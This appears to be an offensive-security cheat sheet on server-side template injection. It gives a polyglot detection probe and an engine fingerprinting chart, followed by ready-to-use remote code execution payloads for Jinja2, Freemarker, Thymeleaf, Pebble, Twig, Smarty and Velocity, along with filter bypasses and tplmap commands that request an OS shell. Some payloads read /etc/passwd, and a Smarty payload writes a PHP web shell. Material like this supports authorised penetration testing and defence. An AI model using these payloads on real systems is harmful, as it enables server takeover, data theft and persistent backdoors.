Server-Side Template Injection (SSTI)

SSTI is the one I get excited about. When a template engine evaluates user-controlled input, you're not just injecting data - you're injecting code. On most engines, that's a direct path to RCE. This is a critical finding every time.

Detection - The Polyglot Probe

One probe covers most engines and gives you enough signal to fingerprint:

${{<%['"}}%\.

If the app throws an error or behaves unusually - you have SSTI. Then narrow down the engine with:

flowchart TD
    A["Inject: {{7*7}}"] --> B{Response has 49?}
    B -->|Yes| C["Inject: {{7*'7'}}"]
    B -->|No| D["Inject: ${7*7}"]
    C -->|49| E[Jinja2 / Twig]
    C -->|7777777| F[Jinja2  -  Python]
    D -->|49| G[Freemarker / Smarty / Pebble]
    D -->|No| H["Inject: #{7*7}"]
    H -->|49| I[Ruby ERB / Slim]
    E --> J["Inject: {{config}}"]
    J -->|Config object| K[Jinja2 confirmed]

Quick Fingerprint Payloads

PayloadExpected OutputEngine
{{7*7}}49Jinja2, Twig
${7*7}49Freemarker, Pebble, Smarty
<%= 7*7 %>49ERB (Ruby), EJS (Node)
#{7*7}49Ruby Slim, Thymeleaf
{{7*'7'}}7777777Jinja2 (Python specific)
${7*'7'}Error / 49Freemarker
*{7*7}49Thymeleaf (Spring)

Jinja2 (Python - Flask, Django)

RCE via Class Hierarchy

# Access Python object model through Jinja2
# Get base class → subclasses → find subprocess / os
 
# Classic RCE chain
{{''.__class__.__mro__[1].__subclasses__()}}
 
# Find index of subprocess.Popen (varies per environment  -  enumerate)
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
 
# Cleaner  -  use config or request globals
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.__class__.__init__.__globals__['os'].popen('whoami').read()}}
 
# If 'os' isn't directly in globals, walk the module tree
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# (class 40 is often <type 'file'> in Python 2)
 
# lipsum filter  -  works in sandboxed environments
{{lipsum.__globals__['os'].popen('id').read()}}
 
# cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}
 
# joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}

Jinja2 Filter Bypasses

# When dots are filtered
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
 
# When underscores are filtered
{{''['\x5f\x5fclass\x5f\x5f']}}
 
# When brackets are filtered
{% set x = ''.__class__ %}{{x}}
 
# attr() filter
{{''|attr('__class__')|attr('__mro__')|list}}

Freemarker (Java)

// Basic execution
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
 
// Alternate
${"freemarker.template.utility.Execute"?new()("id")}
 
// With API access (Freemarker 2.3.17+)
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Thymeleaf (Java - Spring)

Thymeleaf SSTI is Spring-specific. Look for __${expression}__::.x pattern:

// Fragment expression injection
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
 
// SpEL via preprocessed expression
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
 
// Full RCE
__${T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","id"})}__::.x

Pebble (Java)

// Pebble uses Java reflection
{{ variable.getClass().forName('java.lang.Runtime').getMethod('exec',''.class).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }}
 
// Simpler with _env
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
   .forName('java.lang.Runtime')
   .methods[6]
   .invoke((1).TYPE.forName('java.lang.Runtime').methods[7].invoke(null),cmd)
   .inputStream.readAllBytes() %}
{{ bytes }}

Twig (PHP)

// Information disclosure
{{_self}}
{{_self.env}}
 
// RCE via filter chain
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
 
// Or directly:
{{['id']|map('system')|join}}
{{['id']|filter('system')}}

Smarty (PHP)

{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('id')}

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.inputStream)
...

Hunting for SSTI

SSTI shows up most often where user input appears in:

  • Email templates ("Hello, {{first_name}}")
  • Error pages that reflect the URL or request details
  • Search results headers ("Results for: {{query}}")
  • PDF/document generation from templates
  • Marketing/notification template editors
# Automated SSTI detection
python3 tplmap.py -u "https://target.com/search?q=test"
python3 tplmap.py -u "https://target.com/search?q=test" --os-shell
 
# Burp extensions: J2EEScan, tplmap via active scan